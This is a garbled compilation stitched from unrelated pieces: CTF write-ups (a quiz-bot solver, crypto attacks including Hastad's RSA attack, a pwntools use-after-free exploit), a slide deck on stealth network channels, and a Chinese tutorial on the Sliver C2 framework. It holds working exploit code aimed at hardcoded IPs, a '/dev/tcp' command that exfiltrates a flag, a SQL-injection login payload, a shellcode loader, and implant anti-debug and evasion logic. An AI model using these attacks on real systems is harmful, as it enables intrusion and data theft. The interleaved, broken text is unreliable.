proxy=dict( hostname="127.0.0.1", port=1086, )) lock = 0 s = Solver() bq = {} n = 0 strx = [] def calc(): print(bq) a = sorted(bq.items(), key=lambda x: x[1]) print(a) @app.on_message(Filters.private) def hello(client, message): global lock global strx if message.from_user.first_name == bot: while lock!=0: pass lock = 1 if message.poll != None: message_id = message.message_id question = message.poll.question print(question) global n for i in message.poll.options: if i.text not in bq: bq[i.text] = 0 n += 1 print("Auto Vote") answers = app.vote_poll(bot,message_id,1).results.results for i in range(len(answers)): if answers[i].correct == True: idx = i break print(message.poll.options[idx]) pp = message.poll.options[idx] if 'worst' in question: for i in message.poll.options: if i == pp: continue if pp.text+"<"+i.text in strx: continue if i.text+">"+pp.text in strx: continue strx.append(pp.text+"<"+i.text) bq[i.text] += 1 else: : : bot /start for i in message.poll.options: if i == pp: continue if pp.text+">"+i.text in strx: continue if i.text+"<"+pp.text in strx: continue strx.append(i.text+"<"+pp.text) bq[pp.text] += 1 app.send_message(bot,"/start") print(strx) print(len(strx)) print(n) if(len(strx)==300): calc() # input(">") lock = 0 app.run() {' ': 3, ' ': 8, ' \\u200d ': 22, ' ': 0, ' \\u200d♂ ': 5, ' ': 16, ' ': 21, ' \\u200d♂ ': 10, ' ': 2, ' ': 9, ' ': 14, ' ': 24, ' ': 20, ' \\u200d♂ ': 23, ' \\u200d♀ ': 13, ' ': 15, '': 1, ' ': 12, ' \\u200d♂ ': 19, ' \\u200d♂ ': 18, ' ': 11, ' ': 4, '\\U0001f9ca': 7, ' \\u200d⚕ ': 6, ' ': 17} [(' ', 0), ('', 1), (' ', 2), (' ', 3), (' ', 4), (' \\u200d♂ ', 5), (' \\u200d⚕ ', 6), ('\\U0001f9ca', 7), (' ', 8), (' ', 9), (' \\u200d♂ ', 10), (' ', 11), (' ', 12), (' \\u200d♀ ', 13), (' ', 14), (' ', 15), (' ', 16), (' ', 17), (' \\u200d♂ ', 18), (' \\u200d♂ ', 19), (' ', 20), (' ', 21), (' \\u200d ', 22), (' \\u200d♂ ', 23), (' ', 24)] #-*-coding:utf-8-*- from pyrogram import * from z3 import * # Remember to use your own values from my.telegram.org! api_id = api_id api_hash = api_hash # app = Client("my_account", api_id, api_hash) bot = 'AlienQuizBot' app = Client("my_account", api_id, api_hash, proxy=dict( hostname="127.0.0.1", port=1086, Hellish Reverse flag Cyber )) bq = {' ': 3, ' ': 8, ' \\u200d ': 22, ' ': 0, ' \\u200d♂ ': 5, ' ': 16, ' ': 21, ' \\u200d♂ ': 10, ' ': 2, ' ': 9, ' ': 14, ' ': 24, ' ': 20, ' \\u200d♂ ': 23, ' \\u200d♀ ': 13, ' ': 15, '': 1, ' ': 12, ' \\u200d♂ ': 19, ' \\u200d♂ ': 18, ' ': 11, ' ': 4, '\\U0001f9ca': 7, ' \\u200d⚕ ': 6, ' ': 17} tmp_list = [(' ', 0), ('', 1), (' ', 2), (' ', 3), (' ', 4), (' \\u200d♂ ', 5), (' \\u200d⚕ ', 6), ('\\U0001f9ca', 7), (' ', 8), (' ', 9), (' \\u200d♂ ', 10), (' ', 11), (' ', 12), (' \\u200d♀ ', 13), (' ', 14), (' ', 15), (' ', 16), (' ', 17), (' \\u200d♂ ', 18), (' \\u200d♂ ', 19), (' ', 20), (' ', 21), (' \\u200d ', 22), (' \\u200d♂ ', 23), (' ', 24)] listx = [] for i in tmp_list: listx.append(i[0]) print(listx) lock = 0 @app.on_message(Filters.private) def hello(client, message): global lock global strx if message.from_user.first_name == bot: while lock!=0: pass lock = 1 if message.poll != None: message_id = message.message_id question = message.poll.question print(question) tmp = [] for i in message.poll.options: tmp.append(listx.index(i.text)) print(tmp) if 'worst' in question: idx = tmp.index(min(tmp)) app.vote_poll(bot,message_id,idx) else: idx = tmp.index(max(tmp)) app.vote_poll(bot,message_id,idx) lock = 0 app.run() Serial jsb b*b*b + 1*1*1 == b*b*b Too Secure The vulnerability of the revised Pedersen commitment scheme lies in that the secret number used to calculate is chosen by the sender instead of the verifier. Thus, the sender can manipulate the committed message and pass the verification at his will. To get the flag, we need to find such that the two pairs can be used to prove the same commitment , where the proof is checked as Note that , we can rewrite by using as the base: Therefore, what we need to do is calculate that satisfies From the setup of the revised Pedersen commitment scheme, we can see that is decided by its associated , which is given. So, all the unknown in the equation is , and we can calculate it by Note: all the computation is over , where the order can be found by factoring . The exploit is written as below: if ( (a>0 && a < 1000000) & (b>0 && b < 1000000) & (c>0 && c < 1000000) & a*a*a + b*b*b == c*c*c){ ok } # !/usr/bin/env python3 from hashlib import sha512 from Crypto.Util.number import inverse Broken Invitation Hastads attack def atoi(s): return sum(ord(c) << (8*i) for i, c in enumerate(s)) def cal_a_hat(x): G = pow(g, x, p) G_ = G.to_bytes(1024//8, 'big') a = int.from_bytes(sha512(G_).digest(), 'big') a_hat = pow(a, a, p-1) return a_hat p = 120391024901285091259250190100000124235156172352191276491824701825701950182659 27223 g = 107290725793070521848483023224513321924562296190441811050630117415165581102167 20725 r1 = 31245182471 M1 = 'Hi! I am Vadim Davydov from ITMO University' M2 = 'Transfer the points for easy task to this team' # q is factored by <https://www.alpertron.com.ar/ECM.HTM> q = 1039300813886545966418005631983853921163721828798787466771912919828750891 x1 = atoi(M1) % q x2 = atoi(M2) % q a1_hat = cal_a_hat(x1) a2_hat = cal_a_hat(x2) r2 = (x1 + a1_hat*r1 - x2) * inverse(a2_hat, q) % q print(r2) # 299610740605778098196154877327490870095375317123548563579894088319476495 from Crypto.Util.number import long_to_bytes def hastads(cArray,nArray,e=3): """ Performs Hastads attack on raw RSA with no padding. cArray = Ciphertext Array nArray = Modulus Array e = public exponent """ if(len(cArray)==len(nArray)==e): for i in range(e): cArray[i] = Integer(cArray[i]) nArray[i] = Integer(nArray[i]) CTB Pwnogram editmsgUAF client1: M = crt(cArray,nArray) return(Integer(M).nth_root(e,truncate_mode=1)) else: print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent") NA = 924506488821656685683910901697171383575761384058997452768161613244316449994435 541406042874502024337501621283644549497446327156438552952982774526792356194523 541927862677535193330297876054850415513120023262998063090052673978470859715791 539316871 NB = 889509371172553912239774356984862654687896760873837490259005804768579585774583 612518553585989606384958736634083301009698127599596375832972110682747931213790 54729169786199319454344007481804946263873110263761707375758247409 NC = 461204241242834076318777399187174977454994484420816049087170693113397643027165 398995493824709884695469146604201904733791873974257253028991114323047534185085 019042777117723730065430990779210973735523178230525702529781448357449499411084 16471431004677 c1 = 388825822870813587493154615238012547494666151428446904627095554917874019374474 234421038941934804209410745453928513883448152675699305596595130706561989245940 306390625802518940063853046813376063232724848204735684760377804361178651844505 881089386 c2 = 413209914578647858057370128104050442233218401779229342189070126801288356685325 462786019372480980899900523334905784737579862612320776695426650741196980265422 6242300965967704040276250440511648395550180630597000941240639594 c3 = 436903924794787338021756191515195234532012009428005364948065129903505049640442 899984953998053359422275866948523632728833310801881613084705223064859838611145 574492048876448904099955988522994886281592240127303728652805409448979154356041 54376354144428 m = hastads([c1,c2,c3],[NA,NB,NC])[0] print(long_to_bytes(m)[::-1]) from pwn import * import time def msg(ty,bo,le): return p32(le+8)+p64(ty)+bo def register(username): p.send(p32(len(username)+0x8+8)) p.send(p64(0)) p.send(p64(len(username))+username) def addchat(username,chatname): p.send(p32(len(username)+len(chatname)+0x10+8)) p.send(p64(1)) p.send(p64(len(username))+username+p64(len(chatname))+chatname) def joinchat(username,chatname): p.send(p32(len(username)+len(chatname)+0x10+8)) p.send(p64(2)) p.send(p64(len(username))+username+p64(len(chatname))+chatname) def sendmsg(username,chatname,msg): p.send(p32(len(username)+len(chatname)+len(msg)+0x18+8)) p.send(p64(3)) p.send(p64(len(username))+username+p64(len(chatname))+chatname+p64(len(msg))+m sg) def editmsg(username,chatname,index,msg): p.send(p32(len(username)+len(chatname)+len(msg)+0x20+8)) p.send(p64(4)) p.send(p64(len(username))+username+p64(len(chatname))+chatname+index+p64(len(m sg))+msg) def deletemsg(username,chatname,index): p.send(p32(len(username)+len(chatname)+0x18+8)) p.send(p64(5)) p.send(p64(len(username))+username+p64(len(chatname))+chatname+index) def forwardmsg(username,chatname,index): p.send(p32(len(username)+len(chatname)+len(msg)+0x20+8)) p.send(p64(6)) p.send(p64(len(username))+username+p64(len(chatname))+chatname+p64(len(msg))+m sg+index) def getmsg(chatname,index): p.send(p32(len(chatname)+0x10+8)) p.send(p64(7)) p.send(p64(len(chatname))+chatname+index) def listmsg(chatname): client2: p.send(p32(len(chatname)+8+8)) p.send(p64(8)) p.send(p64(len(chatname))+chatname) context.log_level="debug" p=remote("34.77.235.192",41646) register("kirin") time.sleep(2) addchat("kirin","1111") time.sleep(2) sendmsg("kirin","1111","a"*0x20) time.sleep(2) p.recv(1024) listmsg("1111") s=p.recvuntil("\\x7f")[-6:] magic=u64(s+"\\x00\\x00") print hex(magic) deletemsg("kirin","1111",p64(magic)) p.interactive() magic=#input client1's magic context.log_level="debug" p=remote("34.77.235.192",38597) #editmsg("kirin","1111",p64(0x7f5318000d00),"8"*0x10) #getmsg("1111",p64(0x7f0768000d00)) sendmsg("kirin","1111","8"*0x90) time.sleep(2) p.recv(1024) getmsg("1111",p64(magic)) time.sleep(2) p.recvuntil("kirin") p.recv(8) base=u64(p.recv(8))-0x22e840 print hex(base) editmsg("kirin","1111",p64(magic),p64(base+0x22e840)+p64(base+0x22EDD0)) time.sleep(2) p.recv(1024) getmsg("1111",p64(magic+0x30)) time.sleep(2) p.recvuntil("kirin") p.recv(8) libc=u64(p.recv(8))-0x00064e10 print hex(libc) editmsg("kirin","1111",p64(magic),p64(base+0x22e840)+p64(libc+0x01eeb28)) time.sleep(2) editmsg("kirin","1111",p64(magic+0x30),p64(libc+0x0055410)) DockEsc ctrl+p,picture is worth a thousand words Forensic Krevedka 300MB http contains login && http.request.method==POST && http contains caleches time.sleep(2) sendmsg("kirin","1111",'echo "cat /flag > /dev/tcp/your_ip/port" > ./1.sh\\x00') p.recv() sendmsg("kirin","1111",'chmod +x ./1.sh\\x00') p.recv() sendmsg("kirin","1111",'bash ./1.sh\\x00') p.interactive() POST /login HTTP/1.1 Host: kr3vedko.com User-Agent: UCWEB/2.0 (Linux; U; Opera Mini/7.1.32052/30.3697; www1.smart.com.ph/; GT-S5360) U2/1.0.0 UCBrowser/9.8.0.534 Mobile Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Cookie: session=b75d53bb-1326-4d78-aedf-9bd92e237fbf Content-Length: 39 Content-Type: application/x-www-form-urlencoded login=caleches&password=%22+or+1%3D1+-- HTTP/1.0 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 209 Location: <http://kr3vedko.com/> Set-Cookie: session=b75d53bb-1326-4d78-aedf-9bd92e237fbf; Expires=Wed, 22-Jul- 2020 20:44:03 GMT; HttpOnly; Path=/ Server: Werkzeug/1.0.1 Python/3.8.2 Date: Wed, 22 Jul 2020 15:44:03 GMT <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> http.user_agent == "UCWEB/2.0 (Linux; U; Opera Mini/7.1.32052/30.3697; www1.smart.com.ph/; GT-S5360) U2/1.0.0 UCBrowser/9.8.0.534 Mobile" micropetalous Keyshooter <p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.
pdf
Auto-adapting Stealth Communication Channels Daniel J. Burroughs University of Central Florida About myself • Assistant Professor at UCF • Research includes – Correlation of distributed network sensors – Law enforcement data sharing network Correlation of IDS/Sensors • Previous research project I worked on – Presented at DefCon 9 & 10 – Used Bayesian Multiple Hypothesis Tracking to analyze reports from multiple IDS scattered throughout a large network – Attempt to determine if events being detected are related or not Escalation of the Situation • That got me thinking – How would you defeat such a system (if it worked) – How could you avoid detection • Not the detection of an attack, but the ongoing communication – Or, how could you secretly communicate on a network Here’s the question • How do you communicate on a network without letting anyone know that you are doing it? • First thing to figure out – How do they detect what is going on? – IDS – Firewalls – Observers IDS • Two basic forms of detection – Anomaly and Signature • Signature Detection – Known attacks / events – Only way to avoid is to use an unknown method or an ever changing method • Anomaly detection – Doesn’t detect misuse – detects unusual behavior – Only chance someone has at detecting an unknown attack / event Anomaly Detection Avoidance • If we use a “random” or “changing” communication channel, signature detection can be avoided • How do we avoid looking unusual? • Detection of the network baseline – First stage: Discover what the network looks like – What traffic is allowed? – What does normal traffic look like? – Do this passively Detection of Entropy in the Network • Some aspects of the network traffic are going to have a low entropy, other will have a high entropy • Information can best be hidden in a high entropy data stream • Lots of available channels – Timing – Checksums – All the other data in a packet Overall Concept • Detect existing network baseline conditions – What does normal look like? • Select potential communications channels – Determination of highly random information on network – Pruning of information channels – Communicating the method to the receiver • Maintain an (almost) undetectable presence – Monitoring and updating to stay hidden University of Central Florida • Established in 1963 • Part of the Florida State University System • Located 13 miles east of Orlando • 42,837 Students • 5,500 in Engineering and Computer Science Information Systems Technology • IST – Undergraduate program in the College of Engineering – Applied Engineering Degree – Heavy concentration of hands-on learning, real-world applications & experience
pdf
sliver 简单使⽤及源码浅析 1 sliver 简单使⽤及源码浅析 作者 https://github.com/Ciyfly 因笔者技术能⼒有限 有些地⽅有些错误欢迎各位师傅指出 也欢迎各位师傅有任何问题跟我交流沟通 ⽬录 @Recar ⽬录 简单使⽤ 先启动⼀个监听器 ⽣成植⼊端 exe 上线 临时退出当前会话 后台 ⽣成shellcode bin 开启多⼈模式 ⽣成连接配置 客户端 客户端连接 server 服务端 server main console.Start() 服务端开启多⼈模式通信 multiplayer 开启多⼈模式 ⽣成连接配置 client 客户端 implant 植⼊端 截图 sliver 植⼊端 main函数 受害机环境执⾏限制检测 beacon模式 session模式 beacon与session模式区别 beacon怎么⽣成 http beacon mtls beacon wgBeacon dns beacon renderSliverGoCode 模板代码⽣成go⽂件 shellcode怎么⽣成的 进程迁移怎么实现的 DLL Hijack 分阶段与⽆阶段的stager有啥区别 ⼀些可以抄的代码 获取根程序⽬录 单独给⼀个 cmd.exec设置环境变量 sliver 简单使⽤及源码浅析 2 简单使⽤ sliver的wiki https://github.com/BishopFox/sliver/wiki 先启动⼀个监听器 ⽣成植⼊端 exe 这⾥使⽤http的 他还有 https mls 等监听器 generate -b ip或者域名 -b 可以指定监听的ip或者域名 最后exe会⽣成到当前路径 下载执⾏就会上线 上线 查看 session go原⽣log设置输出格式 判断程序是否被调试 go模板的使⽤ go fallthrough 简单的⽣成随机字符串的⽅式 sliver 简单使⽤及源码浅析 3 进⼊beacon的话是use id 临时退出当前会话 后台 background ⽣成shellcode bin generate -b ip/domain -f shellcode sliver 简单使⽤及源码浅析 4 怎么加载这段shellcode呢 这⾥有代码可以直接⽤ 申请内存 写⼊ call后可以直接调⽤sliver那边可以看到直接就上线了 func Run(shellcodeBeacon []byte) { addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申 syscall.Syscall(addr, 0, 0, 0, 0) } 开启多⼈模式 sliver > multiplayer -l 8081 这个多⼈模式的通信⽅式是grpc ⽣成连接配置 [server] sliver > new-operator -l ip -p port-n test [*] Generating new client certificate, please wait ... [*] Saved new client config to: /root/sliver/test_ip.cfg 客户端 PS D:\code\sliver> .\sliver-client_windows.exe --help Usage: sliver-client [flags] sliver-client [command] Available Commands: help Help about any command import Import a client configuration file sliver 简单使⽤及源码浅析 5 version Print version and exit Flags: -h, --help help for sliver-client Use "sliver-client [command] --help" for more information about a command. 客户端连接 要先将服务端⽣成的cfg 下载下来后 然后再直接执⾏客户端 并指定cfg 导⼊命令 .\sliver-client_windows.exe import .\test_ip.cfg 然后就可以连接 如果导⼊了多个配置⽂件可以选择连接哪个 然后就可以跟server端的控制台⼀样的命令了 sliver 简单使⽤及源码浅析 6 服务端和客户端都可以在这⾥下载 https://github.com/BishopFox/sliver/releases 接下来是对源码的⼀次简单分析 server 服务端 在server readme⾥有数⽬每个⽬录的功能 同样 client⾥也会有read⾥的相关readme 因为我们直接运⾏后是server端 也是主要功能 所以我们看下server下⾯的⽬录 如下 assets 嵌⼊到服务器⼆进制⽂件中的静态资产,以及操作这些资产的⽅法。 c2 服务器端命令和控制实现 certs X509证书⽣成和管理代码 cli 命令⾏接⼝实现 configs 配置⽂件解析器 console 特定于服务器的控制台代码,⼤部分⼩控制台代码位于`/client/console中` core 管理植⼊、客户端等连接状态的数据结构和⽅法。 cryptography 围绕Go的⼀些标准'crypto'API的加密代码和包装 daemon 作为守护进程启动服务器的⽅法 db 数据库客户端、助⼿函数和ORM模型 generate 此包⽣成植⼊可执⾏⽂件和共享库 gogo 围着围棋编译器⼯具链的围棋包装器 handlers ⽅法可通过植⼊调⽤,⽆需⽤户交互 sliver 简单使⽤及源码浅析 7 log logrus 包装器 loot 服务器的本地'loot'实现 msf Metasploit助⼿函数 netstack ireGuard服务器⽹络堆栈 rpc 远程过程调⽤实现,通常由/client调⽤ transport 将服务器连接到 /client watchtower 监控威胁英特尔平台的植⼊物的代码 main.go ⼊⼝ 我们直接看 server⽬录下的main.go ⼊⼝ server main 1. 初始化 尝试⽤安全rand随机种⼦ 2. 执⾏cli的Execute⽅法 server\cli\cli.go rootCmd.Execute() import ( "crypto/rand" "encoding/binary" insecureRand "math/rand" "time" "github.com/bishopfox/sliver/server/cli" ) // Attempt to seed insecure rand with secure rand, but we really // don't care that much if it fails since it's insecure anyways func init() { buf := make([]byte, 8) _, err := rand.Read(buf) if err != nil { insecureRand.Seed(int64(time.Now().Unix())) } else { insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf))) } } func main() { cli.Execute() } cli的创建是使⽤的 github.com/spf13/cobra ⽤于创建cli的库来实现的 如下是cli.Execute() ⾥⾯最后调⽤的 1. 配置根⽬录配置⽇志 2. 捕获所有异常并输出栈信息 3. 初始化⼀些数据 a. assets 是初始化资源环境信息 如go的gopath 这⾥⾯使⽤了go的 embed技术 包裹了 go.zip src.zip然后解析go.zip 和src.zip 还包裹了garble 后续⽤来混淆这块代码路径在 server\assets\assets.go b. certs.SetupCAs 是初始化证书 有https的有多⼈模式通信的有server本⾝的有mtls的 c. certs.SetupWGKeys 是初始化公私钥 会存⼊数据库中 d. cryptography.ECCSserverKeyPair 是 获取aes加密秘钥key 没有的话就⽣成 e. cryptography.TOTPSserverSecret 是初始化top验证 (totp技术参考 https://www.jianshu.com/p/c056340d6914 可以⽤做key同 步 ⽤做加密 当超时就不能在解密了) f. cryptography.MinisignServerPrivateKey 是 获取服务器的 minisign 密钥对 ⽤来做签署⽂件和验证签名的 g. 加载配置⽂件 是当前路径下的 configs/server.json sliver 简单使⽤及源码浅析 8 h. c2.StartPersistenJobs 是根据配置⽂件启动后台监听器 如果没配置就不会启动 4. 如果是后台模式调⽤ daemon.Start 否则就启动控制台 consoles.start daemon.start 需要配置监听ip 端⼝ 然后启动客户端监听器 监听客户端的连接 代码在 server/daemon/daemon.go var rootCmd = &cobra.Command{ Use: "sliver-server", Short: "", Long: ``, Run: func(cmd *cobra.Command, args []string) { // Root command starts the server normally appDir := assets.GetRootAppDir() logFile := initLogging(appDir) defer logFile.Close() defer func() { if r := recover(); r != nil { log.Printf("panic:\n%s", debug.Stack()) fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) os.Exit(99) } }() // 输出⼀些banner信息 assets.Setup(false, true) certs.SetupCAs() certs.SetupWGKeys() cryptography.ECCServerKeyPair() cryptography.TOTPServerSecret() cryptography.MinisignServerPrivateKey() serverConfig := configs.GetServerConfig() c2.StartPersistentJobs(serverConfig) if serverConfig.DaemonMode { daemon.Start(daemon.BlankHost, daemon.BlankPort) } else { os.Args = os.Args[:1] // Hide cli from grumble console console.Start() } }, } console.Start() 1. 启动本地监听器 2. 创建grpc的⾃定义 dialer函数 ⽤于创建tcp链接 3. 创建options grpc的参数并初始化连接 4. 获取本地grpc连接的client 5. 将rpc 参数传⼊ clientconsole.Start函数 func Start() { _, ln, _ := transport.LocalListener() ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { return ln.Dial() }) options := []grpc.DialOption{ ctxDialer, grpc.WithInsecure(), // This is an in-memory listener, no need for secure transport grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(clienttransport.ClientMaxReceiveMessageSize)), } conn, err := grpc.DialContext(context.Background(), "bufnet", options...) if err != nil { fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err) return } sliver 简单使⽤及源码浅析 9 defer conn.Close() localRPC := rpcpb.NewSliverRPCClient(conn) if err := configs.CheckHTTPC2ConfigErrors(); err != nil { fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err) } clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true) } 跟⼊ clientconsole.Start 函数 代码路径在 client/console/console.go 1. assets.Setup(false, false) 创建本地资源数据 如 版本 输出lincense信息等 2. assets.LoadSettings() 获取默认的设置信息 3. 初始化con 即 sliver控制台客户端 ⽤于连接server 4. 输出logo信息 con.PrintLogo() 5. 添加客户端命令参数 bindCmds(con) 命令参数在这⾥ client/command/commands.go 6. 添加服务端特有的⼀些命令参数extraCmds(con) 服务端的命令参数在这⾥server/console/console.go 7. go con.EventLoop() 启动循环监听 可以接收事件上报 例如上线 客户端连接等有不同的类型然后判断处理 8. conn.TunnelLoop(rpc) 启动隧道数据循环 解析传⼊的隧道消息并将它们分发 // 到会话/隧道对象 9. 运⾏这个cli 服务端开启多⼈模式通信 multiplayer 开启多⼈模式 多⼈模式即 可以使⽤客户端连接 服务端执⾏ 之间的通信是采⽤的grpc的⽅式 grpc是 是 Google 发起的⼀个开源远程过程调⽤系统,该系统基于 HTTP/2 协议传输 是⼀种rpc的⽅式 多⼈模式服务端默认监听的端⼝是 31337 下⾯是命令⾏参数的 console.App.AddCommand(&grumble.Command{ Name: consts.MultiplayerModeStr, Help: "Enable multiplayer mode", LongHelp: help.GetHelpFor([]string{consts.MultiplayerModeStr}), Flags: func(f *grumble.Flags) { f.String("L", "lhost", "", "interface to bind server to") f.Int("l", "lport", 31337, "tcp listen port") f.Bool("p", "persistent", false, "make persistent across restarts") }, Run: func(ctx *grumble.Context) error { fmt.Println() startMultiplayerModeCmd(ctx) fmt.Println() return nil }, HelpGroup: consts.MultiplayerHelpGroup, }) 可以看到主要是 调⽤的 startMultiplayerModeCmd⽅法 1. 获取参数如 监听的ip 端⼝ persistent是是否持久化 默认是关闭的 2. jobStartClientListener 根据ip 端⼝ 启动⼀个客户端监听 sliver 简单使⽤及源码浅析 10 3. 如果开启了持久化会将当前的持久化配置存储到配置⽂件中 func startMultiplayerModeCmd(ctx *grumble.Context) { lhost := ctx.Flags.String("lhost") lport := uint16(ctx.Flags.Int("lport")) persistent := ctx.Flags.Bool("persistent") _, err := jobStartClientListener(lhost, lport) if err == nil { fmt.Printf(Info + "Multiplayer mode enabled!\n") if persistent { serverConfig := configs.GetServerConfig() serverConfig.AddMultiplayerJob(&configs.MultiplayerJobConfig{ Host: lhost, Port: lport, }) serverConfig.Save() } } else { fmt.Printf(Warn+"Failed to start job %v\n", err) } } ⽣成连接配置 使⽤的是 命令 new-operator -l ip -p port-n test 会输出cfg到当前⽬录下 [server] sliver > new-operator -l ip -p port-n test [*] Generating new client certificate, please wait ... [*] Saved new client config to: /root/sliver/test_ip.cfg 命令⾏参数如下 console.App.AddCommand(&grumble.Command{ Name: consts.NewOperatorStr, Help: "Create a new operator config file", LongHelp: help.GetHelpFor([]string{consts.NewOperatorStr}), Flags: func(f *grumble.Flags) { f.String("l", "lhost", "", "listen host") f.Int("p", "lport", 31337, "listen port") f.String("s", "save", "", "directory/file to the binary to") f.String("n", "name", "", "operator name") }, Run: func(ctx *grumble.Context) error { fmt.Println() newOperatorCmd(ctx) fmt.Println() return nil }, HelpGroup: consts.MultiplayerHelpGroup, }) 默认配置的监听端⼝也就是31337 同 多⼈模式监听的端⼝ 最终调⽤⽣成的是newOperatorCmd ⾥⾯调⽤的是 NewOperatorConfig 返回config json 1. 判断创建的配置名称是否合法 仅限字⺟数字 2. 配置名称是唯⼀标识必须设置 并且监听的ip也需要设置 3. models.GenerateOperatorToken() ⽣成token 使⽤rand.Read的⽅式⽣成随机字符串token 4. ⽤⽣成的token 进⾏ sha256 加密 5. 将名称和sha2576加密的token存储到数据库 sliver 简单使⽤及源码浅析 11 6. 根据配置名称 ⽣成CA证书 返回公私钥 7. 创建证书 所有的这些参数就作为配置返回 // NewOperatorConfig - Generate a new player/client/operator configuration func NewOperatorConfig(operatorName string, lhost string, lport uint16) ([]byte, error) { if !namePattern.MatchString(operatorName) { return nil, errors.New("Invalid operator name (alphanumerics only)") } if operatorName == "" { return nil, errors.New("Operator name required") } if lhost == "" { return nil, errors.New("Invalid lhost") } rawToken := models.GenerateOperatorToken() digest := sha256.Sum256([]byte(rawToken)) dbOperator := &models.Operator{ Name: operatorName, Token: hex.EncodeToString(digest[:]), } err := db.Session().Save(dbOperator).Error if err != nil { return nil, err } publicKey, privateKey, err := certs.OperatorClientGenerateCertificate(operatorName) if err != nil { return nil, fmt.Errorf("Failed to generate certificate %s", err) } caCertPEM, _, _ := certs.GetCertificateAuthorityPEM(certs.OperatorCA) config := ClientConfig{ Operator: operatorName, Token: rawToken, LHost: lhost, LPort: int(lport), CACertificate: string(caCertPEM), PrivateKey: string(privateKey), Certificate: string(publicKey), } return json.Marshal(config) } client 客户端 client开始执⾏也是先初始化随机种⼦ 然后指定配置⽂件后 使⽤mtls连接sliver server 验证成功后使⽤grpc的⽅式通信 var rootCmd = &cobra.Command{ Use: "sliver-client", Short: "", Long: ``, Run: func(cmd *cobra.Command, args []string) { appDir := assets.GetRootAppDir() logFile := initLogging(appDir) defer logFile.Close() os.Args = os.Args[:1] // Stops grumble from complaining err := StartClientConsole() if err != nil { fmt.Printf("[!] %s\n", err) } }, } sliver 简单使⽤及源码浅析 12 根据配置建⽴连接 // StartClientConsole - Start the client console func StartClientConsole() error { configs := assets.GetConfigs() if len(configs) == 0 { fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir()) return nil } config := selectConfig() if config == nil { return nil } fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort) rpc, ln, err := transport.MTLSConnect(config) if err != nil { fmt.Printf("Connection to server failed %s", err) return nil } defer ln.Close() return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false) } 后续的流程跟server很类似了 implant 植⼊端 所有最终实现的⽅法都在这⾥定义实现 server定义pb规范和接⼝给客户端通信 客户端定义参数 这⾥所有的go⽂件都是模板的概念可以在⾥⾯处理代码的⼀些调整 ⽐如控制debug信息的输出 beacon 通信相关的代码在这⾥ implant/sliver/transports 截图 这⾥以windows举例 代码路径在 implant/sliver/screen/screenshot_windows.go 通过第三⽅库 github.com/kbinani/screenshot 来实现截图 import ( "bytes" "image/png" //{{if .Config.Debug}} "log" //{{end}} screen "github.com/kbinani/screenshot" ) //Screenshot - Retrieve the screenshot of the active displays func Screenshot() []byte { return WindowsCapture() } // WindowsCapture - Retrieve the screenshot of the active displays func WindowsCapture() []byte { nDisplays := screen.NumActiveDisplays() var height, width int = 0, 0 for i := 0; i < nDisplays; i++ { rect := screen.GetDisplayBounds(i) sliver 简单使⽤及源码浅析 13 if rect.Dy() > height { height = rect.Dy() } width += rect.Dx() } img, err := screen.Capture(0, 0, width, height) //{{if .Config.Debug}} log.Printf("Error Capture: %s", err) //{{end}} var buf bytes.Buffer if err != nil { //{{if .Config.Debug}} log.Println("Capture Error") //{{end}} return buf.Bytes() } png.Encode(&buf, img) return buf.Bytes() } sliver 植⼊端 main函数 1. 配置是否⽇志输出及输出的⽇志格式 不输出的话设置⽇志格式为空 且使⽤ ioutil.Discard将⽇志输出指向 空 可以理解为指向 /dev/null 2. 检测是否限制执⾏ 可以看下⾯的环境执⾏限制检测 3. 判断实现需要注册成windows服务 使⽤ golang.org/x/sys/windows/svc 的Run⽅法实现 4. 判断是否是beacon 的话 调⽤ beaconStartup⽅法 否则是会话模式 启动 sessionStartup func main() { // {{if .Config.Debug}} log.SetFlags(log.LstdFlags | log.Lshortfile) // {{else}} log.SetFlags(0) log.SetOutput(ioutil.Discard) // {{end}} // {{if .Config.Debug}} log.Printf("Hello my name is %s", consts.SliverName) // {{end}} limits.ExecLimits() // Check to see if we should execute // {{if .Config.IsService}} svc.Run("", &sliverService{}) // {{else}} // {{if .Config.IsBeacon}} beaconStartup() // {{else}} ------- IsBeacon/IsSession ------- sessionStartup() // {{end}} // {{end}} ------- IsService ------- } 受害机环境执⾏限制检测 implant/sliver/limits/limits.go 1. PlatformLimits 通过 kernel32.dll IsDebuggerPresent判断是否被调试 调试则退出 2. isDomainJoined判断是否在域⾥不在则退出(配置⽂件控制是否检测) sliver 简单使⽤及源码浅析 14 3. 判断hostname是否过滤是否是开启hostname检测的 跟配置⽂件的不⼀致则退出 4. 判断主机⽤户名是否是配置的 开启判断如果与配置不⼀致则退出 如果⽤户名的数量等于并且第⼆个⽤户名是配置⽂件不⼀致则退 出 5. 如果受害机当前时间⼩于 配置⽂件的指定时间否则退出 6. 有这个⽂件 LimitFileExists 的机器才会执⾏ 如果配置⽂件开启了判断 这个⽂件到底是啥⽂件默认是空的字符串 默认也是不开启 的 所以到底是啥⽂件就是⾃⼰指定了 func ExecLimits() { // {{if not .Config.Debug}} // Disable debugger check in debug mode, so we can attach to the process PlatformLimits() // Anti-debug & other platform specific evasion // {{end}} // {{if .Config.LimitDomainJoined}} ok, err := isDomainJoined() if err == nil && !ok { os.Exit(1) } // {{end}} // {{if .Config.LimitHostname}} hostname, err := 